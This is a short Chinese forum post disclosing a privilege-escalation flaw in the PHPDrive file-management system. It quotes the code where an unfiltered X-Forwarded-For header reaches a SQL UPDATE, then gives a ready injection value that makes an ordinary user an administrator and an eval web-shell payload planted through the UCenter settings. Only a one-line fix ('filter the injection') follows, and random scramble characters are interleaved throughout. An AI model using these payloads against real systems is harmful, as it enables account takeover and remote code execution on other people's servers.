中国网络渗透测试联盟
标题:
PHPDrive权限提升漏洞
[打印本页]
作者:
admin
时间:
2012-12-31 09:18
标题:
PHPDrive权限提升漏洞
PHPDrive 是一套运行于 PHP 环境的文件管理系统，可以应用于网盘、企业文件管理、学校、团队管理、软件站、文件CMS等
3 F" j4 A8 n. t* [/ Z
5 P6 P- N% H' B- d
includes/user.lib.php
7 f; @% ?/ w' [: I
行87
y) G3 U( ^) Y$ d* E! }
function get_ip() {
* K% {2 G3 f8 d* J' Q& ^
if(isset($_SERVER["HTTP_X_FORWARDED_FOR"])&&$_SERVER["HTTP_X_FORWARDED_FOR"]) $ip = $_SERVER["HTTP_X_FORWARDED_FOR"];.
) {0 I: G* X6 @4 H
在用户注册与登录 处module/disk/account.lead.php
! q# h0 i! E& k: f4 F
198行
1 b$ ~$ U5 S' X9 R
//更新本次登录IP和时间
; @- R) o3 S! X1 p& d, S: H
$db->Query(‘UPDATE `’.$db->TPre.’user` SET `before_last_date` = ‘.$UserArr['last_date'].’,`last_date` = ‘.$NowUnixTime.’,`before_last_ip` = “‘.$UserArr['last_ip'].’”,`last_ip` = “‘.get_ip().’” WHERE `uid` = ‘.$UserArr['uid'].’;');//get_ip()入库注入产生
$ K. ?" S0 V. I& y. n
由于本套程序user与manager是存在于同一个表下的，只是用group字段来区分两者,group=1为管理员，2则为普通用户。所以可以利用以上注入，将普通用户的group值改为1，即可提升权限
; y' P f& s6 h V
实现方法：使用firefox的一款插件x-forwarded-for Header 1.0,将你的IP地址改为123″,`group`=”1然后登陆，这时候你就是管理员了.
* s. l8 ^# m3 ?0 q0 j, R
后台getshell:
. h/ O# Q# H0 C7 Z+ W1 o
在UCenter设置处，将UC数据库登录名填写为
; W$ ~' \' K; L5 p& i& r1 A4 h; n/ ]' v
1 [8 `) s2 \$ i. [ U$ g ~
root’);eval($_POST[DisKill]);?>/*
! W4 p" } k. `! t. W
可以得到一个shell,位置在 data/uc.data.php
! V; l, N# a+ N+ I* w
- l- v7 n& m3 r$ t3 h
修复：过滤注入
, l* a; g; s+ e+ n$ |, n1 {
: O: M' T. u3 w) h
欢迎光临 中国网络渗透测试联盟 (https://www.cobjon.com/)
Powered by Discuz! X3.2